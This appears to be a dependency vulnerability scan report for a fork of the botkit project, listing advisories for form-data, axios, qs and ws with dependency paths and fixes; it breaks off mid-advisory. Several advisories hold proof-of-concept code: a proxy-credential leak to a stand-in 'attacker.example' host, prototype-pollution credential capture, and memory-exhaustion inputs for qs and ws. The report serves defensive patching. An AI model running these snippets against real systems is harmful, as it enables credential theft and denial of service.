Vulnerabilities

64 via 346 paths

Dependencies

379

Source

GitHub

Commit

HEAD

Find, fix and prevent vulnerabilities in your code.

Severity
  • 3
  • 22
  • 36
  • 3
Status
  • 64
  • 0
  • 0

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 form-data@1.0.1

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 qs@6.2.6

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: ws
  • Introduced through: ciscospark@0.7.93 and ws@2.3.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 ws@1.1.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ws@2.3.1
    Remediation: Upgrade to ws@5.2.5.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames

Workaround

This vulnerability can be mitigated by lowering the value of the maxPayload option.

PoC

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
